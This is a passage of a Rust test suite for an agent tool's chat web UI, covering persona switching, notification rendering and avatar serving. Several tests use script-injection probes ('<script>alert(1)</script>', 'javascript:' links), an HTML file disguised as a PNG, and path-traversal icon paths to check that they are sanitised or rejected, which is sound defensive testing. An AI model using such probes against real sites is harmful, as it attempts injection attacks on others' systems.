12169 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12170 let id = talk.id.clone();
12171 let call = |n: u8| {
12172 talk_implementers(
12173 State(Arc::clone(&ui)),
12174 Path(id.clone()),
12175 Json(TalkImplementers { implementers: n }),
12176 )
12177 };
12178
12179 for bad in [0u8, 4] {
12180 let e = call(bad).await.expect_err("out of range");
12181 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
12182 }
12183 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
12184
12185 {
12186 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12189 let busy = call(2).await.expect_err("busy talk");
12190 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12191 assert!(
12192 busy.message.contains("a talk turn is running"),
12193 "{}",
12194 busy.message
12195 );
12196 drop(guard);
12197 }
12198
12199 let Json(view) = call(3).await.expect("switch");
12200 assert_eq!(view.talk.implementers, 3);
12201 assert!(talks.get(&id).expect("reload").implementers_dirty);
12202 assert!(!view.thinking);
12203 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12204 for n in [1, 2, 3] {
12205 let Json(view) = call(n).await.expect("immediate consecutive change");
12206 assert_eq!(view.talk.implementers, n);
12207 assert!(!view.thinking);
12208 assert!(!ui.is_thinking(&id));
12209 }
12210
12211 let mut closed = talks.get(&id).expect("reload");
12212 talk::close(&mut closed, &talks).expect("close");
12213 let e = call(2).await.expect_err("closed talk");
12214 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12215 assert!(e.message.contains("takes no more turns"), "{}", e.message);
12216 }
12217
12218 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12220 let tmp = TempDir::new().expect("tempdir");
12221 let repo = tmp.path().join("repo");
12222 std::fs::create_dir_all(&repo).expect("repo dir");
12223 std::fs::write(
12224 repo.join("magi.toml"),
12225 format!("{MOCK_AGENT_TOML}\n{extra}"),
12226 )
12227 .expect("write magi.toml");
12228 let home = TempDir::new().expect("temp home");
12229 let talks = Talks::at(home.path().join("talks"));
12230 let ui = Arc::new(
12231 Ui::new(
12232 Queue::at(home.path().join("queue")),
12233 Questions::at(home.path().join("questions")),
12234 talks.clone(),
12235 home.path().join("runs"),
12236 home.path().to_path_buf(),
12237 repo.clone(),
12238 )
12239 .with_worktrees_root(home.path().join("wt")),
12240 );
12241 let cfg = config_for(&repo).await.expect("discover config");
12242 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12243 (tmp, home, ui, talk.id, repo)
12244 }
12245
12246 #[tokio::test]
12247 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12248 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12249 let mut conversation = ui.talks.get(&id).unwrap();
12250 talk::record(
12251 &mut conversation,
12252 &ui.talks,
12253 "# Update on a task you filed\noperator words",
12254 vec![],
12255 )
12256 .unwrap();
12257 conversation.turns[0].sender = None;
12259 conversation.turns[0].messages.clear();
12260 ui.talks.put(&mut conversation).unwrap();
12261 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12262 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12263 talk::drain(&mut conversation, &ui.talks).unwrap();
12264 talk::record_reply(
12265 &mut conversation,
12266 &ui.talks,
12267 "about that report",
12268 vec![],
12269 Some(talk::ReplyTarget {
12270 turn: 1,
12271 message: 1,
12272 }),
12273 )
12274 .unwrap();
12275 conversation.turns[2].messages[0]
12276 .reply
12277 .as_mut()
12278 .unwrap()
12279 .sender = None;
12280 conversation.turns.push(talk::Turn {
12281 sender: Some(talk::Sender::Persona),
12282 who: talk::Who::Agent,
12283 body: "magi: actual persona words".into(),
12284 at: Timestamp::now(),
12285 attachments: vec![],
12286 usage: None,
12287 breaks: None,
12288 messages: vec![],
12289 posted_by: None,
12290 });
12291 ui.talks.put(&mut conversation).unwrap();
12292 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12293 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12294 assert_eq!(
12295 view.talk.turns[1].messages[0].sender,
12296 Some(talk::Sender::Operator)
12297 );
12298 assert_eq!(
12299 view.talk.turns[1].messages[1].sender,
12300 Some(talk::Sender::Magi)
12301 );
12302 assert_eq!(
12303 view.talk.turns[2].messages[0]
12304 .reply
12305 .as_ref()
12306 .unwrap()
12307 .sender,
12308 Some(talk::Sender::Magi)
12309 );
12310 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12311 assert_eq!(view.turn_messages_md[0].len(), 1);
12312 assert!(view.turn_messages_md[0][0].is_none());
12313 assert!(view.turn_messages_md[1][0].is_none());
12314 assert!(view.turn_messages_md[1][1].is_some());
12315 }
12316
12317 #[tokio::test]
12318 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12319 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12320 let mut conversation = ui.talks.get(&id).unwrap();
12321 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12322 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12323 talk::queue_notice(
12324 &mut conversation,
12325 &ui.talks,
12326 &body,
12327 "watch:123",
12328 &|_| false,
12329 None,
12330 display.clone(),
12331 )
12332 .unwrap();
12333 assert!(
12334 !talk::queue_notice(
12335 &mut conversation,
12336 &ui.talks,
12337 &body,
12338 "watch:123",
12339 &|_| false,
12340 None,
12341 display.clone()
12342 )
12343 .unwrap()
12344 );
12345 let saved = ui.talks.get(&id).unwrap();
12346 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12347 let view = TalkView::with_config(saved, false, None, &ui.home);
12348 assert!(
12349 view.talk.turns[0].messages[0].display.is_none(),
12350 "operator copy stays literal"
12351 );
12352 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12353 assert!(view.turn_messages_md[0][0].is_none());
12354 let queued_md = view.pending_messages_md[0].clone();
12355 assert_eq!(
12356 queued_md,
12357 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12358 );
12359 talk::drain(&mut conversation, &ui.talks).unwrap();
12360 talk::record_reply(
12361 &mut conversation,
12362 &ui.talks,
12363 "Explain",
12364 vec![],
12365 Some(talk::ReplyTarget {
12366 turn: 1,
12367 message: 0,
12368 }),
12369 )
12370 .unwrap();
12371 let mut saved = ui.talks.get(&id).unwrap();
12372 assert_eq!(saved.turns[1].messages[0].body, body);
12373 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12374 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12375 assert!(!reply.excerpt.contains("automatic report"));
12376 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
12379 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12380 assert_eq!(view.turn_messages_md[1][0], queued_md);
12381 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12382 assert!(
12383 !view.talk.turns[2].messages[0]
12384 .reply
12385 .as_ref()
12386 .unwrap()
12387 .excerpt
12388 .contains("automatic report")
12389 );
12390 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12391 }
12392
12393 #[tokio::test]
12394 async fn consultation_display_hides_directives_in_queue_and_history() {
12395 for node in [
12396 "implement",
12397 crate::land::APPROVAL_NODE,
12398 crate::github_text::ASK_NODE,
12399 ] {
12400 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12401 let mut question = Question::new(
12402 "run-123".into(),
12403 node.into(),
12404 "seat-1".into(),
12405 "Which backend?".into(),
12406 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12407 vec!["SQLite".into(), "Redis".into()],
12408 );
12409 ui.questions.put(&mut question).unwrap();
12410 let body = crate::prompt::chat_consult(&question);
12411 let mut conversation = ui.talks.get(&id).unwrap();
12412 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12413 assert!(
12414 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12415 );
12416 conversation = ui.talks.get(&id).unwrap();
12417 assert_eq!(conversation.pending_messages[0].body, body);
12418 assert!(body.contains("magi answer"));
12419 let mut legacy_pending = conversation.clone();
12420 legacy_pending.pending_messages[0].display = None;
12421 let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12422 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12423 assert!(legacy_md.contains("Question consultation"));
12424 assert!(!legacy_md.contains("magi answer"));
12425 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12426 assert!(
12427 view.turn_messages_md[0][0].is_none(),
12428 "operator copy stays literal"
12429 );
12430 let queued_md = view.pending_messages_md[0].clone().unwrap();
12431 let rendered = serde_json::to_string(&queued_md).unwrap();
12432 for visible in [
12433 "Which backend?",
12434 "Context",
12435 "storage",
12436 "SQLite",
12437 "Redis",
12438 "<script>literal</script>",
12439 ] {
12440 assert!(rendered.contains(visible), "missing {visible}");
12441 }
12442 for directive in [
12443 "What to do",
12444 "magi answer",
12445 "Never answer it yourself",
12446 "Do not edit the repository",
12447 ] {
12448 assert!(!rendered.contains(directive), "exposed {directive}");
12449 }
12450 assert_eq!(
12451 view.talk.pending_messages[0].display,
12452 Some(crate::prompt::chat_consult_display(&question))
12453 );
12454 talk::drain(&mut conversation, &ui.talks).unwrap();
12455 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12456 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12457 assert_eq!(conversation.turns[1].messages[0].body, body);
12458
12459 conversation.turns[1].messages[0].display = None;
12462 let view = TalkView::with_config(conversation, false, None, &ui.home);
12463 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12464 assert!(legacy.contains("Question consultation"));
12465 assert!(!legacy.contains("magi answer"));
12466 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12467 }
12468 }
12469
12470 #[test]
12471 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12472 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12473 let (body, mut display) =
12474 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12475 display.facts = facts.into();
12476 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12477 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12478 let json = serde_json::to_string(&nodes).unwrap();
12479 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12480 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12481 }
12482 assert!(json.contains("<script>alert(1)</script>"));
12483 assert!(!json.contains("javascript:"));
12484 assert!(!json.contains("Tell the operator"));
12485 assert!(!json.contains("untrusted"));
12486 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12487 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12488 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12489 assert_eq!(
12490 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12491 md::to_nodes("# Status", &md::ImageBase::None),
12492 );
12493 }
12494
12495 #[tokio::test]
12496 async fn notification_display_recovers_exact_legacy_completion_references() {
12497 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12498 let mut conversation = ui.talks.get(&id).unwrap();
12499 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12500 id: "task-123",
12501 title: "Change",
12502 status: "done",
12503 reason: None,
12504 run: Some("run-123"),
12505 pr: None,
12506 summary: Some("Merge state unknown"),
12507 });
12508 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12509 conversation.turns[0].sender = None;
12510 conversation.turns[0].messages.clear();
12511 conversation.turns[0].breaks = None;
12512 conversation.pending = body.clone();
12513 conversation
12514 .completion_notices
12515 .push(crate::chat_notify::CompletionReference {
12516 task: "task-123".into(),
12517 run: Some("run-123".into()),
12518 notice: body.clone(),
12519 });
12520 ui.talks.put(&mut conversation).unwrap();
12521 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12522 assert_eq!(
12523 view.talk.turns[0].messages[0].display,
12524 Some(display.clone())
12525 );
12526 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12527 assert_eq!(
12528 view.talk.turns[0].messages[0].sender,
12529 Some(talk::Sender::Magi)
12530 );
12531 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12532 conversation.completion_notices[0]
12533 .notice
12534 .push_str("different");
12535 let view = TalkView::with_config(conversation, false, None, &ui.home);
12536 assert!(view.talk.turns[0].messages.is_empty());
12537 assert!(view.talk.pending_messages.is_empty());
12538 }
12539
12540 #[tokio::test]
12541 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
12542 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
12543 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12544 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12545 let _ = magi_icon_put(
12546 State(ui.clone()),
12547 Json(MagiIconUpload { icon: icon.into() }),
12548 )
12549 .await
12550 .unwrap();
12551 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12552 assert_ne!(original, changed);
12553 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12554 let response = magi_avatar(
12555 State(ui.clone()),
12556 Query(AvatarQuery {
12557 persona: None,
12558 builtin: None,
12559 }),
12560 )
12561 .await;
12562 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12563 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
12564 assert_eq!(
12565 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
12566 "nosniff"
12567 );
12568 for bad in [
12569 "data:image/png;base64,PGh0bWw+".to_owned(),
12570 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12571 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
12572 ] {
12573 assert!(save_magi_icon(home.path(), &bad).is_err());
12574 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12575 }
12576 let restarted = Arc::new(Ui::new(
12578 Queue::at(home.path().join("queue")),
12579 Questions::at(home.path().join("questions")),
12580 Talks::at(home.path().join("talks")),
12581 home.path().join("runs"),
12582 home.path().to_path_buf(),
12583 repo,
12584 ));
12585 assert_eq!(
12586 magi_icon_get(State(restarted.clone())).await.0["avatar"],
12587 changed
12588 );
12589 let view = TalkView::with_config(
12590 restarted.talks.get(&id).unwrap(),
12591 false,
12592 None,
12593 &restarted.home,
12594 );
12595 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
12596 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
12597 let response = magi_avatar(
12598 State(ui.clone()),
12599 Query(AvatarQuery {
12600 persona: None,
12601 builtin: None,
12602 }),
12603 )
12604 .await;
12605 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
12606 .await
12607 .unwrap();
12608 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
12609 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
12610 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
12611 let _ = magi_icon_delete(State(ui)).await.unwrap();
12612 }
12613
12614 async fn avatar(
12616 ui: &Arc<Ui>,
12617 id: &str,
12618 persona: Option<&str>,
12619 builtin: bool,
12620 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
12621 let res = talk_avatar(
12622 State(Arc::clone(ui)),
12623 Path(id.to_owned()),
12624 Query(AvatarQuery {
12625 persona: persona.map(str::to_owned),
12626 builtin: builtin.then(|| "1".to_owned()),
12627 }),
12628 )
12629 .await
12630 .expect("an avatar is never an error response");
12631 let h = res.headers();
12632 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
12633 let nosniff = h
12634 .get(header::X_CONTENT_TYPE_OPTIONS)
12635 .is_some_and(|v| v == "nosniff");
12636 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
12637 let status = res.status();
12638 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12639 .await
12640 .expect("body")
12641 .to_vec();
12642 (status, ct, nosniff, csp, body)
12643 }
12644
12645 fn tiny_png() -> Vec<u8> {
12646 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
12647 b.extend_from_slice(&[0u8; 32]);
12648 b
12649 }
12650
12651 #[tokio::test]
12652 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
12653 let res = operator_avatar().await;
12654 assert_eq!(res.status(), StatusCode::OK);
12655 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
12656 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
12657 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
12658 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
12659 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12660 .await
12661 .unwrap();
12662 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
12663 assert_ne!(
12664 persona_icon::operator_svg(),
12665 persona_icon::builtin_svg("default")
12666 );
12667 }
12668
12669 #[tokio::test]
12670 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
12671 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
12672 for p in [
12673 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
12674 ] {
12675 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
12676 assert_eq!(status, StatusCode::OK, "{p}");
12677 assert_eq!(ct, "image/svg+xml", "{p}");
12678 assert!(nosniff && csp, "{p}");
12679 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
12680 }
12681 let own = avatar(&ui, &id, None, false).await;
12683 let default = avatar(&ui, &id, Some("default"), false).await;
12684 assert_eq!(own.4, default.4);
12685 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
12686 assert_eq!(unknown.1, "image/svg+xml");
12687 }
12688
12689 #[tokio::test]
12690 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
12691 let dir = TempDir::new().expect("icons");
12692 let good = dir.path().join("good.png");
12693 std::fs::write(&good, tiny_png()).unwrap();
12694 let spoof = dir.path().join("spoof.png");
12695 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
12696 let big = dir.path().join("big.png");
12697 let mut bytes = tiny_png();
12698 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
12699 std::fs::write(&big, bytes).unwrap();
12700 let missing = dir.path().join("missing.png");
12701 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
12702 let extra = format!(
12703 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
12704 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
12705 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
12706 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
12707 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
12708 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
12709 uri(&good),
12710 uri(&spoof),
12711 uri(&big),
12712 uri(&missing),
12713 );
12714 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12715
12716 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
12717 assert_eq!(
12718 (status, ct.as_str(), nosniff),
12719 (StatusCode::OK, "image/png", true)
12720 );
12721 assert_eq!(body, tiny_png());
12722 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
12723 assert_eq!(ct, "image/png", "data URI");
12724
12725 for p in ["misato", "asuka", "shinji", "magi"] {
12726 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
12727 assert_eq!(
12728 (status, ct.as_str(), csp),
12729 (StatusCode::OK, "image/svg+xml", true),
12730 "{p}"
12731 );
12732 assert!(body.starts_with(b"<svg"), "{p}");
12733 }
12734 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
12736 assert_eq!(ct, "image/svg+xml");
12737 }
12738
12739 #[tokio::test]
12740 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
12741 let oversized = format!(
12742 "data:image/png;base64,{}",
12743 "A".repeat(persona_icon::ICON_MAX_BYTES)
12744 );
12745 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
12746 let extra = format!(
12747 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
12748 );
12749 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12750 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12751 .await
12752 .expect("detail with invalid icon");
12753 assert!(detail.personas.iter().any(|p| p.id == "custom"));
12754 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
12755 assert_eq!(status, StatusCode::OK);
12756 assert_eq!(ct, "image/svg+xml");
12757 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
12758 let Json(view) = talk_persona(
12759 State(Arc::clone(&ui)),
12760 Path(id.clone()),
12761 Json(TalkPersona {
12762 persona: "custom".into(),
12763 }),
12764 )
12765 .await
12766 .expect("persona switch with invalid icon");
12767 assert_eq!(view.talk.persona, "custom");
12768 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
12769 }
12770 }
12771
12772 #[tokio::test]
12773 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
12774 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12775 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
12776 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
12777 assert_eq!(
12778 (status, ct.as_str(), nosniff, csp),
12779 (StatusCode::OK, "image/svg+xml", true, true)
12780 );
12781 }
12782
12783 #[tokio::test]
12784 async fn the_talk_view_carries_server_built_avatar_urls_only() {
12785 let (_t, _h, ui, id, _repo) =
12786 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
12787 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12788 .await
12789 .expect("detail");
12790 let json = serde_json::to_string(&detail).unwrap();
12791 assert!(
12792 !json.contains("secret"),
12793 "the icon setting must not leak: {json}"
12794 );
12795 assert!(
12796 detail
12797 .view
12798 .persona_avatar
12799 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
12800 );
12801 assert_eq!(
12802 detail.view.operator_avatar,
12803 format!(
12804 "/avatars/operator.svg?v={}",
12805 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
12806 )
12807 );
12808 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
12809 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
12810 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
12811 assert!(rei.avatar.contains("persona=rei&v="));
12812 assert_ne!(
12813 rei.avatar.split("&v=").nth(1),
12814 plain.avatar.split("&v=").nth(1)
12815 );
12816 }
12817
12818 #[tokio::test]
12819 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
12820 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12821 let cfg = config_for(&repo).await.unwrap();
12822 for arrived in [false, true] {
12823 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
12824 let observed = ui.queued_generation(&id);
12825 let talk = ui.talks.get(&id).unwrap();
12826 if arrived {
12827 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
12828 }
12829 let mut settling = std::pin::pin!(settle_settings_turn(
12830 talk,
12831 ui.talks.clone(),
12832 cfg.clone(),
12833 id.clone(),
12834 turn,
12835 observed
12836 ));
12837 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12838 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12839 assert_eq!(first.is_pending(), arrived);
12840 if arrived {
12841 assert!(!settling.await);
12842 }
12843 assert!(!ui.is_thinking(&id));
12844 }
12845 }
12846
12847 #[tokio::test]
12848 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12849 let tmp = TempDir::new().expect("tempdir");
12850 let repo = tmp.path().join("repo");
12851 std::fs::create_dir_all(&repo).expect("repo dir");
12852 std::fs::write(
12853 repo.join("magi.toml"),
12854 format!(
12855 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12856 ),
12857 )
12858 .expect("write magi.toml");
12859 let home = TempDir::new().expect("temp home");
12860 let talks = Talks::at(home.path().join("talks"));
12861 let ui = Arc::new(
12862 Ui::new(
12863 Queue::at(home.path().join("queue")),
12864 Questions::at(home.path().join("questions")),
12865 talks.clone(),
12866 home.path().join("runs"),
12867 home.path().to_path_buf(),
12868 repo.clone(),
12869 )
12870 .with_worktrees_root(home.path().join("wt")),
12871 );
12872 let cfg = config_for(&repo).await.expect("discover config");
12873 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12874 let id = talk.id.clone();
12875 let call = |persona: &str| {
12876 talk_persona(
12877 State(Arc::clone(&ui)),
12878 Path(id.clone()),
12879 Json(TalkPersona {
12880 persona: persona.to_owned(),
12881 }),
12882 )
12883 };
12884
12885 let unknown = call("nobody").await.expect_err("unknown persona");
12886 assert_eq!(
12887 unknown.status,
12888 StatusCode::BAD_REQUEST,
12889 "{}",
12890 unknown.message
12891 );
12892
12893 {
12894 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12897 let busy = call("rei").await.expect_err("busy talk");
12898 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12899 assert!(
12900 busy.message.contains("a talk turn is running"),
12901 "{}",
12902 busy.message
12903 );
12904 drop(guard);
12905 }
12906 assert_eq!(talks.get(&id).expect("reload").persona, "");
12907
12908 let Json(view) = call("gendo").await.expect("switch to a configured persona");
12909 assert_eq!(view.talk.persona, "gendo");
12910 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12911 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12912 for chosen in ["default", "gendo", "rei", "gendo"] {
12914 let Json(view) = call(chosen).await.expect("immediate consecutive change");
12915 assert!(!view.thinking);
12916 assert!(!ui.is_thinking(&id));
12917 }
12918
12919 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12920 .await
12921 .expect("detail");
12922 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12923 assert_eq!(ids.first(), Some(&"default"));
12924 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12925
12926 let Json(view) = call("default").await.expect("back to default");
12927 assert_eq!(view.talk.persona, "");
12928
12929 let mut closed = talks.get(&id).expect("reload");
12930 talk::close(&mut closed, &talks).expect("close");
12931 let refused = call("rei").await.expect_err("closed talk");
12932 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12933 assert!(
12934 refused.message.contains("takes no more turns"),
12935 "{}",
12936 refused.message
12937 );
12938 }
12939
12940 #[tokio::test]
12941 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12942 let f = Fixture::start().await;
12943 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12944 let queue = f.queue();
12945 let mut mine = Task::new(
12946 "rename the loader".to_owned(),
12947 "rename the loader".to_owned(),
12948 PathBuf::from("/repo/magi"),
12949 Source::Agent {
12950 run: talk_id.clone(),
12951 node: "chat".to_owned(),
12952 },
12953 );
12954 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
12955 assert_eq!(empty["task_progress"]["state"], "none");
12956 assert_eq!(empty["task_progress"]["total"], 0);
12957 queue.put(&mut mine).expect("file the task");
12958 let mut theirs = Task::new(
12959 "unrelated".to_owned(),
12960 "unrelated".to_owned(),
12961 PathBuf::from("/repo/magi"),
12962 Source::Human,
12963 );
12964 theirs.origin_chat = Some(talk_id.clone());
12966 queue.put(&mut theirs).expect("file the task");
12967
12968 let res = f.get(&format!("/api/talks/{talk_id}")).await;
12969 assert_eq!(res.status, 200, "{}", res.body);
12970 let body = res.json();
12971 assert_eq!(
12972 body["status"], "open",
12973 "filing a task does not close a talk"
12974 );
12975 let tasks = body["tasks"].as_array().expect("tasks array");
12976 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12977 assert_eq!(tasks[0]["id"], mine.id);
12978 for status in [
12979 TaskStatus::Queued,
12980 TaskStatus::Running,
12981 TaskStatus::Held,
12982 TaskStatus::Failed,
12983 TaskStatus::Blocked,
12984 TaskStatus::Parked,
12985 TaskStatus::Done,
12986 TaskStatus::Queued,
12987 ] {
12988 mine.status = status;
12989 queue.put(&mut mine).expect("update status");
12990 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
12991 let progress = &detail["task_progress"];
12992 assert_eq!(progress["total"], 1);
12993 assert_eq!(progress["counts"][status.as_str()], 1);
12994 assert_eq!(detail["tasks"][0]["status"], status.as_str());
12995 assert_eq!(detail["status"], "open", "completion never closes the chat");
12996 if status == TaskStatus::Done {
12997 assert_eq!(progress["state"], "complete");
12998 assert_eq!(progress["done"], 1);
12999 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
